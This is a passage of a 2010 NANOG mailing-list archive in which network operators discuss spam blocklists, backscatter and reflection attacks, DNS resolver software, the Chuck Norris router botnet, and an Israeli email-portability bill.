References: <739582dd1002211345m7040973ew3a9486cdabf57c1f@mail.gmail.com> Message-ID: <20100221222749.GA7107@gsp.org> On Sun, Feb 21, 2010 at 04:45:42PM -0500, James Heralds wrote: > Call for papers: ISP-10, Orlando, USA, July 2010 This is fake conference spam. Same gang has been pummeling Usenet newsgroups for years, has recently migrated to mailing lists. For some background, see: http://copy-shake-paste.blogspot.com/2008/12/fake-conferences.html ---Rsk From ops.lists at gmail.com Sun Feb 21 20:20:22 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Mon, 22 Feb 2010 07:50:22 +0530 Subject: Spamhaus In-Reply-To: <4B817D93.2030609@opus1.com> References: <4B817D93.2030609@opus1.com> Message-ID: On Mon, Feb 22, 2010 at 12:08 AM, Joel M Snyder wrote: > but the false positive count jumped by 112 messages per 10,000 (because > APEWS was somehow having a lousy month). > > In general, the more reputation services you include, the more likely it is > you're going to have false positives. Christ. You pick APEWS as a reputation filter.. and then even bother to *count* the false positives? That's not a list that's particularly designed to minimize FPs, to put it very mildly. -- Suresh Ramasubramanian (ops.lists at gmail.com) From mysidia at gmail.com Sun Feb 21 22:59:08 2010 From: mysidia at gmail.com (James Hess) Date: Sun, 21 Feb 2010 22:59:08 -0600 Subject: Spamhaus... In-Reply-To: References: <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> <3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost> <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> <20100221141043.GA13708@gsp.org> <3c3e3fca1002211001r3a0705f6l13e831e51dad85fa@mail.gmail.com> Message-ID: <6eb799ab1002212059r24072148wbd3089c14c4b44d8@mail.gmail.com> On Sun, Feb 21, 2010 at 1:16 PM, Patrick W. Gilmore wrote: > You should not randomly respond to packets at arbitrary rates. ?If you do, you are being a bad Netizen for exactly this reason. ?See things like amplification attacks for why. ... > -- Whether it's SMTP, TCP, or ICMP spam involved the reflection attack result is still the same, and still a DoS, even if there aren't "arbitrary rates of transmission" from any player. Sure, _your_ host A's TCP stack may only respond at a maximum rate of 1 packet per second to ICMP queries from all sources, but there are hosts B, C, D, E, and F, too. Just like mail servers block single IP addresses that hit more than X invalid recipients or graylist on more than Y SMTP transactions/recipients in Z minutes. But the spammer is sending out massive forged ICMP ECHOs or TCP SYNs with 1,000,000+ different spoofed source addresses that correspond to operational internet hosts, with semi-randomized TTL values. No "one host" creates a problem, you have an emergent property, where the attacker abused all the hosts put together. The result is very much from the attacker, not the hosts involved, they have simply propagated the attack. "Backscatter" is spam from the person who created the fake origin, not spam from the fooled mail servers. Obviously SMTP servers should try to do the best they can to stop it. But if the origin domain has not provided SPF records, there are some unusual cases left open, where a bounce to a potentially fake address may still be required. E.g. The recipient was valid at the time the message was accepted, BUT while the message was still queued, their account got deleted, now the user is gone, and the message cannot be delivered to something that no longer exists. Or they ran out of disk quota allocated to their mailbox. This is impossible to know in advance, since they haven't run out until several other queued messages are delivered to them. > TTFN, > patrick -- -J From tomb at byrneit.net Sun Feb 21 23:00:14 2010 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Sun, 21 Feb 2010 21:00:14 -0800 Subject: Spamhaus... In-Reply-To: <3c3e3fca1002211001r3a0705f6l13e831e51dad85fa@mail.gmail.com> References: <4B7D0D7D.33E4.0097.0@globalstar.com> <4B7E9B68.8090807@sorbs.net><87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org><3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com> <9305.1266688401@localhost><3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> <20100221141043.GA13708@gsp.org> <3c3e3fca1002211001r3a0705f6l13e831e51dad85fa@mail.gmail.com> Message-ID: <72F9A69DCF990443B2CEC064E605CE06085516@Pascal.zaphodb.org> > -----Original Message----- > From: William Herrin [mailto:bill at herrin.us] > Sent: Sunday, February 21, 2010 10:02 AM > To: Rich Kulawiec > Cc: nanog at nanog.org > Subject: Re: Spamhaus... > > On Sun, Feb 21, 2010 at 9:10 AM, Rich Kulawiec wrote: > > Hint: nothing stops the spammers from pointing the MX records for > their > > throwaway domains at somebody else's mail servers. ?Among other > things. > > MANY other things, unfortunately. > > Rich, > > Clearly I shouldn't respond to any packets at all. After all, a bad > actor can originate packets with a forged source address and I > wouldn't want to abuse your network with unwanted echo-replies, > syn-acks and rejs. > > Regards, > Bill Herrin [Tomas L. Byrnes] Maybe he should avoid any traffic on any non Point to Point only link with no repeaters, as there's always the possibility of a beaconing station or someone with SQE turned on. Reductio ad absurdam; which, btw, is never a valid argument for, or against. P.S. I once wrote code to change line idle code on Multi-drop X.25 from 7E to FF, because AT&T ignored DTR and had all their MJUs run wide open, thereby destroying a NRZI multidrop 56kbps digital circuit, so the above scenario is not fictitious. Needless to say, pulling the plug was not an option. From tomb at byrneit.net Sun Feb 21 23:11:17 2010 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Sun, 21 Feb 2010 21:11:17 -0800 Subject: Spamhaus... In-Reply-To: References: <4B7D0D7D.33E4.0097.0@globalstar.com> <4B7E9B68.8090807@sorbs.net><87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org><3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com><20100220130823.GA5232@gsp.org><3c3e3fca1002200836h3ce6092dpb9f9c8c8bbc1ec8f@mail.gmail.com><9305.1266688401@localhost><3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com><20100221141043.GA13708@gsp.org><3c3e3fca1002211001r3a0705f6l13e831e51dad85fa@mail.gmail.com> Message-ID: <72F9A69DCF990443B2CEC064E605CE06085517@Pascal.zaphodb.org> > -----Original Message----- > From: Patrick W. Gilmore [mailto:patrick at ianai.net] > Sent: Sunday, February 21, 2010 11:17 AM > To: NANOG list > Subject: Re: Spamhaus... > > On Feb 21, 2010, at 1:01 PM, William Herrin wrote: > > On Sun, Feb 21, 2010 at 9:10 AM, Rich Kulawiec wrote: > >> Hint: nothing stops the spammers from pointing the MX records for > their > >> throwaway domains at somebody else's mail servers. Among other > things. > >> MANY other things, unfortunately. > > > Clearly I shouldn't respond to any packets at all. After all, a bad > > actor can originate packets with a forged source address and I > > wouldn't want to abuse your network with unwanted echo-replies, > > syn-acks and rejs. > > Bill: > > That is actually somewhat correct. > > You should not randomly respond to packets at arbitrary rates. If you > do, you are being a bad Netizen for exactly this reason. See things > like amplification attacks for why. > > Of course, if you can get proper responses, say TCP sequence numbers, > proving the other side really is talking to you, then that limitation > is removed. > [Tomas L. Byrnes] Ok, so now we can agree on something: You should have a POLICY about how you handle packets. Now, while trying very hard to hold my powder since that is what the ThreatSTOP patent is about, how do you propose to define, and implement, that policy efficiently across multiple devices, from multiple vendors, in real time? From ops.lists at gmail.com Sun Feb 21 23:40:49 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Mon, 22 Feb 2010 11:10:49 +0530 Subject: Spamhaus and Barracuda Networks BRBL In-Reply-To: References: <72C09AE4-ED2D-4D9C-A4D1-6154A8114831@barracuda.com> Message-ID: Is it your position that, as a vendor of antispam services, nobody else should offer their services for a fee? That would be strange indeed. On Fri, Feb 19, 2010 at 5:41 AM, Dean Drako wrote: > > With respect to Barracuda Networks and Spamhaus. > > I expect, but I do not know, that Spamhaus probes on port 25 > in order to identify Barracuda Spam and Virus Firewalls and then block > their access to their RBL. ?Many Barracuda customers have been > cut off without warning causing them trouble and pain. > > Barracuda attempted to find a deal that would work for licensing > Spamhaus for our products, however, spamhaus's desire for money > could not be met without significantly increasing the price to > each of our customers. ? ?They wanted us to charge the > spamhaus feed price to each of our customers. > We tried to find an arrangement for a long time. ? I personally > love the work that spamhaus has done. I was disappointed that we could > not find an arrangement once they changed into a commercial entity and > started charging customers. ?When they were providing a free > service we promoted them strongly, but when they started charging > the customers that really used it, we had to part ways. > It is a pity. > > We recommend customers use only Barracuda's Free RBL: ?"BRBL" > and this is now built into the Barracuda Spam and Virus Firewall. > http://www.barracudacentral.org/rbl > > The BRBL is provided at no charge to anyone who wants to use it (even > non barracuda customers). > The BRBL has a full time staff that answers phone and email > to correct any false positives and handle removal requests -- unlike competing > services that charge money and who do not provide a staff. ? We will consider > providing data feeds if anyone has interest. ?We currently provide > the BRBL as a free service. ?We make no claims about it being better > or worse than any other RBL. ? It does use a massive amount of data in > order to determine which IP's should be on the list. Others have made claims > about its accuracy and say great things about it. ?Others complain that > we unjustly block them, however, 99.9% of the people who are blocked and who contact > us find a BOT in their network. > > > Sincerely, > > Dean Drako > CEO Barracuda Networks > > > > > > > > > > > > -- Suresh Ramasubramanian (ops.lists at gmail.com) From r.bhatia at ipax.at Mon Feb 22 04:09:14 2010 From: r.bhatia at ipax.at (Raoul Bhatia [IPAX]) Date: Mon, 22 Feb 2010 11:09:14 +0100 Subject: Messages in junk/spam box In-Reply-To: <15458993.7091.1266793892722.JavaMail.root@mail.sustech.edu> References: <15458993.7091.1266793892722.JavaMail.root@mail.sustech.edu> Message-ID: <4B8257CA.3090603@ipax.at> On 02/22/2010 12:11 AM, Tarig Y. Adam wrote: > Hi > Messages we send from our mail sever always received at SPAM box in many Public Mail servers like hotmail, yahoo, and gmail. We made a revers dns lookup, and there is no spamming from our server, still messages go to junk. > how to solve this. i would consider setting SPF records for your domains & mailservers. cheers, raoul -- ____________________________________________________________________ DI (FH) Raoul Bhatia M.Sc. email. r.bhatia at ipax.at Technischer Leiter IPAX - Aloy Bhatia Hava OG web. http://www.ipax.at Barawitzkagasse 10/2/2/11 email. office at ipax.at 1190 Wien tel. +43 1 3670030 FN 277995t HG Wien fax. +43 1 3670030 15 ____________________________________________________________________ From LarrySheldon at cox.net Mon Feb 22 04:23:22 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 04:23:22 -0600 Subject: Messages in junk/spam box In-Reply-To: <4B8257CA.3090603@ipax.at> References: <15458993.7091.1266793892722.JavaMail.root@mail.sustech.edu> <4B8257CA.3090603@ipax.at> Message-ID: <4B825B1A.1040304@cox.net> On 2/22/2010 4:09 AM, Raoul Bhatia [IPAX] wrote: > On 02/22/2010 12:11 AM, Tarig Y. Adam wrote: >> Hi >> Messages we send from our mail sever always received at SPAM box in many Public Mail servers like hotmail, yahoo, and gmail. We made a revers dns lookup, and there is no spamming from our server, still messages go to junk. >> how to solve this. > > i would consider setting SPF records for your domains & mailservers. Seems obvious to me. Stop send stuff earmarked as junk. NANAE is probably a better place to whine. From tkernen at deckpoint.ch Mon Feb 22 07:41:39 2010 From: tkernen at deckpoint.ch (Thomas Kernen) Date: Mon, 22 Feb 2010 14:41:39 +0100 Subject: Looking Glass software - what's the current state of the art? In-Reply-To: <4B817E63.1080505@opus1.com> References: <4B817E63.1080505@opus1.com> Message-ID: <4B828993.2070601@deckpoint.ch> On 2/21/10 7:41 PM, Joel M Snyder wrote: > We are migrating our web server from platform A to mutually incompatible > platform B and as a result the 7-year-old DCL script I wrote that does > Looking Glass for us needs to be replaced. (from my comments, looks like > I stole the idea from ejk at digex.net...) > > I'm guessing that someone else has done a better job and I should be > just downloading and using an open source tool. > > What's the current thinking on a good standalone Looking Glass that can > be opened to the Internet-at-large? > > jms > If you want to try other Looking Glass sources, I've listed a few of the more recent implementations here: http://www.traceroute.org/#source%20code HTH, Thomas From clapidus at gmail.com Mon Feb 22 08:16:52 2010 From: clapidus at gmail.com (Claudio Lapidus) Date: Mon, 22 Feb 2010 11:16:52 -0300 Subject: DNS server software Message-ID: Hello all, We are a mid-sized carrier (1.2M broadband subscribers) and we are looking for an upgrade in our public DNS resolver infrastructure, so we are interested in getting to know what are you guys using in your networks. Mainly what kind/brand of software and which architecture did you use to deploy it, and how did you do the sizing, all of it would be most helpful information. Many thanks in advance for your advice! cl. From ge at linuxbox.org Mon Feb 22 08:21:54 2010 From: ge at linuxbox.org (Gadi Evron) Date: Mon, 22 Feb 2010 16:21:54 +0200 Subject: Chuck Norris Botnet and Broadband Routers Message-ID: <4B829302.30701@linuxbox.org> Last week Czech researchers released information on a new worm which exploits CPE devices (broadband routers) by means such as default passwords, constructing a large DDoS botnet. Today this story hit international news. Original Czech: http://praguemonitor.com/2010/02/16/czech-experts-uncover-global-virus-network English: http://www.pcworld.com/businesscenter/article/189868/chuck_norris_botnet_karatechops_routers_hard.html When I raised this issue before in 2007 on NANOG, some other vetted mailing lists and on CircleID, the consensus was that the vendors will not change their position on default settings unless "something happens", I guess this is it, but I am not optimistic on seeing activity from vendors on this now, either. CircleID story 1: http://www.circleid.com/posts/broadband_routers_botnets/ CircleID story 2: http://www.circleid.com/posts/broadband_router_insecurity/ The spread of insecure broadband modems (DSL and Cable) is extremely wide-spread, with numerous ISPs, large and small, whose entire (read significant portions of) broadband population is vulnerable. In tests Prof. Randy Vaughn and I conducted with some ISPs in 2007-8 the results have not been promising. Further, many of these devices world wide serve as infection mechanisms for the computers behind them, with hijacked DNS that points end-users to malicious web sites. On the ISPs end, much like in the early days of botnets, many service providers did not see these devices as their responsibility -- even though in many cases they are the providers of the systems, and these posed a potential DDoS threat to their networks. As a mind-set, operationally taking responsibility for devices located at the homes of end users made no sense, and therefore the stance ISPs took on this issue was understandable, if irresponsible. As we can't rely on the vendors, ISPs should step up, and at the very least ensure that devices they provide to their end users are properly set up (a significant number of iSPs already pre-configure them for support purposes). The Czech researchers have done a good job and I'd like to thank them for sharing their research with us. In this article by Robert McMillan, some details are shared in English: ---------- Discovered by Czech researchers, the botnet has been spreading by taking advantage of poorly configured routers and DSL modems, according to Jan Vykopal, the head of the network security department with Masaryk University's Institute of Computer Science in Brno, Czech Republic. The malware got the Chuck Norris moniker from a programmer's Italian comment in its source code: "in nome di Chuck Norris," which means "in the name of Chuck Norris." Norris is a U.S. actor best known for his martial arts films such as "The Way of the Dragon" and "Missing in Action." Security experts say that various types of botnets have infected millions of computers worldwide to date, but Chuck Norris is unusual in that it infects DSL modems and routers rather than PCs. It installs itself on routers and modems by guessing default administrative passwords and taking advantage of the fact that many devices are configured to allow remote access. It also exploits a known vulnerability in D-Link Systems devices, Vykopal said in an e-mail interview. A D-Link spokesman said he was not aware of the botnet, and the company did not immediately have any comment on the issue. Like an earlier router-infecting botnet called Psyb0t, Chuck Norris can infect an MIPS-based device running the Linux operating system if its administration interface has a weak username and password, he said. This MIPS/Linux combination is widely used in routers and DSL modems, but the botnet also attacks satellite TV receivers. ---------- Read more here: http://www.pcworld.com/businesscenter/article/189868/chuck_norris_botnet_karatechops_routers_hard.html I will post updates on this as I discover them on my blog, under this same post, here: http://gadievron.blogspot.com/2010/02/chuck-norris-botnet-and-broadband.html Gadi. From regnauld at nsrc.org Mon Feb 22 08:39:12 2010 From: regnauld at nsrc.org (Phil Regnauld) Date: Mon, 22 Feb 2010 22:39:12 +0800 Subject: DNS server software In-Reply-To: References: Message-ID: <20100222143910.GB32700@macbook.catpipe.net> Claudio Lapidus (clapidus) writes: > Hello all, > > We are a mid-sized carrier (1.2M broadband subscribers) and we are looking > for an upgrade in our public DNS resolver infrastructure, so we are > interested in getting to know what are you guys using in your networks. > Mainly what kind/brand of software and which architecture did you use to > deploy it, and how did you do the sizing, all of it would be most helpful > information. You'd probably want to start taking a look at unbound: http://unbound.net/ It's open source, and actively maintained by NLNetLabs. Setup properly on a decent OS and anycasted, it performs extremely well - better than some commercial solutions. PowerDNS also has an open source solution (www.powerdns.com). PowerDNS is easily modified with custom backends (using a simple pipe interface). Then there are solutions from Nominum if you want to pay yourself out the question, as well as products from Infoblox (they are more targeted towards corporate DNS, but have recently introduced what they claim to be "ISP class" resolvers). There's also Secure64, which I haven't tested but some people are very happy with it. All of the above support DNSSEC. Sizing considerations will depend on your network topology, how many customers / PoP, etc... You may want to ask the dns operations list (https://lists.dns-oarc.net/mailman/listinfo/dns-operations) for advice, but please wait until you've collected a bit more data on which solution you'd consider, and it's usually not very useful to ask "is vendor solution X better than Y". Cheers, Phil From ge at linuxbox.org Mon Feb 22 09:09:45 2010 From: ge at linuxbox.org (Gadi Evron) Date: Mon, 22 Feb 2010 17:09:45 +0200 Subject: Email Portability Approved by Knesset Committee Message-ID: <4B829E39.6070600@linuxbox.org> The email portability bill has just been approved by the Knesset's committee for legislation, sending it on its way for the full legislation process of the Israeli parliament. While many users own a free email account, many in Israel still make use of their ISP's email service. According to this proposed bill, when a client transfers to a different ISP the email address will optionally be his to take along, "just like" mobile providers do today with phone numbers. This new legislation makes little technological sense, and will certainly be a mess to handle operationally as well as beurocratically, but it certainly is interesting, and at least the notion is beautiful. The proposed bill can be found here [Doc, Hebrew]: http://my.ynet.co.il/pic/computers/22022010/mail.doc Linked to from this ynet (leading Israeli news site) story, here: http://www.ynet.co.il/articles/0,7340,L-3852744,00.html I will update this as things evolve on my blog, here: http://gadievron.blogspot.com/ Gadi. From nenolod at systeminplace.net Mon Feb 22 09:17:24 2010 From: nenolod at systeminplace.net (William Pitcock) Date: Mon, 22 Feb 2010 09:17:24 -0600 Subject: Chuck Norris Botnet and Broadband Routers In-Reply-To: <4B829302.30701@linuxbox.org> References: <4B829302.30701@linuxbox.org> Message-ID: <1266851844.24784.1.camel@petrie.dereferenced.org> On Mon, 2010-02-22 at 16:21 +0200, Gadi Evron wrote: > Last week Czech researchers released information on a new worm which > exploits CPE devices (broadband routers) by means such as default > passwords, constructing a large DDoS botnet. Today this story hit > international news. > What makes this any different than psyb0t, which was discovered in the wild last year? William From fergdawgster at gmail.com Mon Feb 22 09:34:41 2010 From: fergdawgster at gmail.com (Paul Ferguson) Date: Mon, 22 Feb 2010 07:34:41 -0800 Subject: Chuck Norris Botnet and Broadband Routers In-Reply-To: <1266851844.24784.1.camel@petrie.dereferenced.org> References: <4B829302.30701@linuxbox.org> <1266851844.24784.1.camel@petrie.dereferenced.org> Message-ID: <6cd462c01002220734t63dbcf1aie8ecfe5610224af0@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, Feb 22, 2010 at 7:17 AM, William Pitcock wrote: > On Mon, 2010-02-22 at 16:21 +0200, Gadi Evron wrote: >> Last week Czech researchers released information on a new worm which >> exploits CPE devices (broadband routers) by means such as default >> passwords, constructing a large DDoS botnet. Today this story hit >> international news. >> > > What makes this any different than psyb0t, which was discovered in the > wild last year? > Nothing. Good point. :-) - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFLgqQKq1pz9mNUZTMRAsH7AKDoL9/RLSDAslAcJtHDnPk7iiVoawCffSgq gMZWi47oFDmp595zfX/HZ9U= =6FLZ -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From robt at cymru.com Mon Feb 22 09:50:02 2010 From: robt at cymru.com (Rob Thomas) Date: Mon, 22 Feb 2010 09:50:02 -0600 Subject: Chuck Norris Botnet and Broadband Routers In-Reply-To: <1266851844.24784.1.camel@petrie.dereferenced.org> References: <4B829302.30701@linuxbox.org> <1266851844.24784.1.camel@petrie.dereferenced.org> Message-ID: <4B82A7AA.5020104@cymru.com> Hi, team. William Pitcock wrote: > On Mon, 2010-02-22 at 16:21 +0200, Gadi Evron wrote: >> Last week Czech researchers released information on a new worm which >> exploits CPE devices (broadband routers) by means such as default >> passwords, constructing a large DDoS botnet. Today this story hit >> international news. >> > > What makes this any different than psyb0t, which was discovered in the > wild last year? Or Coldlife aka Coldbot, which dates back to circa 2004 (at least)? It came bundled with a list of 2K+ compromised routers. Secure your routers, folks! This includes D-Link, Juniper, and Cisco. They're all targets, and regularly exploited. Juniper: SSH brute force, some telnet (ugh!) brute force. Cisco: telnet and SSH brute force, some old web bugs. Updates and suggestions welcome! Compromised routers are useful for DoS, sure, but more useful as proxies and IRC bounces. Remember the first big wave of DNS amplification attacks against Stormpay, et al.? That same perp built a large overlay network of tunnels between compromised routers (most of which spoke eBGP). Concerned that your routers might be compromised? Send us a note at team-cymru at cymru.com and we'll let you know what we've seen. We'll need your ASN(s) or CIDR block(s). Thanks, Rob. -- Rob Thomas Team Cymru https://www.team-cymru.org/ ASSERT(coffee != empty); From ge at linuxbox.org Mon Feb 22 10:03:09 2010 From: ge at linuxbox.org (Gadi Evron) Date: Mon, 22 Feb 2010 18:03:09 +0200 Subject: Chuck Norris Botnet and Broadband Routers In-Reply-To: <1266851844.24784.1.camel@petrie.dereferenced.org> References: <4B829302.30701@linuxbox.org> <1266851844.24784.1.camel@petrie.dereferenced.org> Message-ID: <4B82AABD.6070201@linuxbox.org> On 2/22/10 5:17 PM, William Pitcock wrote: > On Mon, 2010-02-22 at 16:21 +0200, Gadi Evron wrote: >> Last week Czech researchers released information on a new worm which >> exploits CPE devices (broadband routers) by means such as default >> passwords, constructing a large DDoS botnet. Today this story hit >> international news. >> > > What makes this any different than psyb0t, which was discovered in the > wild last year? Absolutely nothing. I think it is mentioned in the PC World story though. Thanks for bringing it up. Gadi. > William > From james at freedomnet.co.nz Mon Feb 22 10:08:54 2010 From: james at freedomnet.co.nz (James Jones) Date: Mon, 22 Feb 2010 11:08:54 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B829E39.6070600@linuxbox.org> References: <4B829E39.6070600@linuxbox.org> Message-ID: <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> On Mon, Feb 22, 2010 at 10:09 AM, Gadi Evron wrote: > The email portability bill has just been approved by the Knesset's > committee for legislation, sending it on its way for the full legislation > process of the Israeli parliament. > > While many users own a free email account, many in Israel still make use of > their ISP's email service. > > According to this proposed bill, when a client transfers to a different ISP > the email address will optionally be his to take along, "just like" mobile > providers do today with phone numbers. > > This new legislation makes little technological sense, and will certainly > be a mess to handle operationally as well as beurocratically, but it > certainly is interesting, and at least the notion is beautiful. > > The proposed bill can be found here [Doc, Hebrew]: > http://my.ynet.co.il/pic/computers/22022010/mail.doc > > Linked to from this ynet (leading Israeli news site) story, here: > http://www.ynet.co.il/articles/0,7340,L-3852744,00.html > > I will update this as things evolve on my blog, here: > http://gadievron.blogspot.com/ > > Gadi. > > Why does this seem like a really bad idea? -james From robert at timetraveller.org Mon Feb 22 10:24:54 2010 From: robert at timetraveller.org (Robert Brockway) Date: Mon, 22 Feb 2010 16:24:54 +0000 (UTC) Subject: Email Portability Approved by Knesset Committee In-Reply-To: <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> Message-ID: On Mon, 22 Feb 2010, James Jones wrote: > Why does this seem like a really bad idea? While I think the principal is noble there are operational problems: 1) Large and increasing quantity of email will be forwarded between Israeli ISPs, loading their networks with traffic that could have been avoided. 2) Every time someone changes ISP and wants to continue using this address they will need to notify their original ISP, who they may not have had a business relationship with for many years. This will be a significant operational challenge I expect. How do you confirm the person notifying you is the real owner of the address, for example? IMHO it would have been better to require the ISPs to forward the email for a reasonable period of time (say 3 months) to allow the user to make relevant notifications (or just stop using an ISP bound email address). Unfortunately the links cited are in Hebrew so I'm only going on Gadi's report here. Cheers, Rob -- Email: robert at timetraveller.org IRC: Solver Web: http://www.practicalsysadmin.com I tried to change the world but they had a no-return policy From smb at cs.columbia.edu Mon Feb 22 10:25:19 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Mon, 22 Feb 2010 11:25:19 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> Message-ID: On Feb 22, 2010, at 11:24 AM, Robert Brockway wrote: > On Mon, 22 Feb 2010, James Jones wrote: > >> Why does this seem like a really bad idea? > > While I think the principal is noble there are operational problems: > > 1) Large and increasing quantity of email will be forwarded between Israeli ISPs, loading their networks with traffic that could have been avoided. > > 2) Every time someone changes ISP and wants to continue using this address they will need to notify their original ISP, who they may not have had a business relationship with for many years. This will be a significant operational challenge I expect. How do you confirm the person notifying you is the real owner of the address, for example? > > IMHO it would have been better to require the ISPs to forward the email for a reasonable period of time (say 3 months) to allow the user to make relevant notifications (or just stop using an ISP bound email address). > > Unfortunately the links cited are in Hebrew so I'm only going on Gadi's report here. > Bring back the MB or MR DNS records? (Only half a smiley.) --Steve Bellovin, http://www.cs.columbia.edu/~smb From dhetzel at gmail.com Mon Feb 22 10:26:56 2010 From: dhetzel at gmail.com (Dorn Hetzel) Date: Mon, 22 Feb 2010 11:26:56 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> Message-ID: <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> I am sure the various carriers faced with the onset of Local Number Portability and WLNP in this part of the world would have been happy to escape with only forwarding phone calls for 3 months. Alas, such was not their fate :) I would watch out for this idea, it might actually catch on in various places, warts and all... On Mon, Feb 22, 2010 at 11:24 AM, Robert Brockway wrote: > On Mon, 22 Feb 2010, James Jones wrote: > > Why does this seem like a really bad idea? >> > > While I think the principal is noble there are operational problems: > > 1) Large and increasing quantity of email will be forwarded between Israeli > ISPs, loading their networks with traffic that could have been avoided. > > 2) Every time someone changes ISP and wants to continue using this address > they will need to notify their original ISP, who they may not have had a > business relationship with for many years. This will be a significant > operational challenge I expect. How do you confirm the person notifying you > is the real owner of the address, for example? > > IMHO it would have been better to require the ISPs to forward the email for > a reasonable period of time (say 3 months) to allow the user to make > relevant notifications (or just stop using an ISP bound email address). > > Unfortunately the links cited are in Hebrew so I'm only going on Gadi's > report here. > > Cheers, > > Rob > > -- > Email: robert at timetraveller.org > IRC: Solver > Web: http://www.practicalsysadmin.com > I tried to change the world but they had a no-return policy > > From james at freedomnet.co.nz Mon Feb 22 10:27:17 2010 From: james at freedomnet.co.nz (James Jones) Date: Mon, 22 Feb 2010 11:27:17 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> Message-ID: <6104c3e31002220827p69563ca7o7f3306121cc2c36@mail.gmail.com> On Mon, Feb 22, 2010 at 11:24 AM, Robert Brockway wrote: > > IMHO it would have been better to require the ISPs to forward the email for > a reasonable period of time (say 3 months) to allow the user to make > relevant notifications (or just stop using an ISP bound email address). > > To me that seems reasonable. but if they do what has been suggested how long before the rest of world implements the same policy? Also wouldn't this help put the final nails in email's coffin? Also what about ISPs choosing to stop providing email services? From cian.brennan at redbrick.dcu.ie Mon Feb 22 10:27:40 2010 From: cian.brennan at redbrick.dcu.ie (Cian Brennan) Date: Mon, 22 Feb 2010 16:27:40 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> Message-ID: <20100222162740.GA11381@minerva.redbrick.dcu.ie> On Mon, Feb 22, 2010 at 04:24:54PM +0000, Robert Brockway wrote: > On Mon, 22 Feb 2010, James Jones wrote: > >> Why does this seem like a really bad idea? > > While I think the principal is noble there are operational problems: > > 1) Large and increasing quantity of email will be forwarded between > Israeli ISPs, loading their networks with traffic that could have been > avoided. > Same thing applies to mobile companies. Realistically, this isn't going to be a particularly massive amount of traffic. > 2) Every time someone changes ISP and wants to continue using this > address they will need to notify their original ISP, who they may not > have had a business relationship with for many years. This will be a > significant operational challenge I expect. How do you confirm the > person notifying you is the real owner of the address, for example? > This bit is slightly more difficult. All the same, you can easily figure out a password system for talking to support (with a login password, and a support password, say. Not the most secure thing possible, but in practise as good as any ISPs mail system's is likely to be.) > IMHO it would have been better to require the ISPs to forward the email > for a reasonable period of time (say 3 months) to allow the user to make > relevant notifications (or just stop using an ISP bound email address). > Changing an email address takes far longer than 3 months, ime. I still get the odd mail to one I stopped using 3-4 years ago. > Unfortunately the links cited are in Hebrew so I'm only going on Gadi's > report here. > > Cheers, > > Rob > > -- > Email: robert at timetraveller.org > IRC: Solver > Web: http://www.practicalsysadmin.com > I tried to change the world but they had a no-return policy > > -- -- From jeff-kell at utc.edu Mon Feb 22 10:30:15 2010 From: jeff-kell at utc.edu (Jeff Kell) Date: Mon, 22 Feb 2010 11:30:15 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> Message-ID: <4B82B117.3070101@utc.edu> There's no way to do this without some underlying forwarding... and aside from the obvious inefficiencies, bear in mind that any spam mitigation devices on the last hop that decide they are receiving spam are going to direct their wrath (reputation scores, blacklisting, greylisting, rate limiting, what-have-you) at the last forwarding hop, not at the origin. We get enough collateral damage from legitimate voluntary forwarding already. I would shudder to think of mandated, irrevocable forwarding. Jeff From LarrySheldon at cox.net Mon Feb 22 10:30:53 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 10:30:53 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> Message-ID: <4B82B13D.5010804@cox.net> On 2/22/2010 10:24 AM, Robert Brockway wrote: > On Mon, 22 Feb 2010, 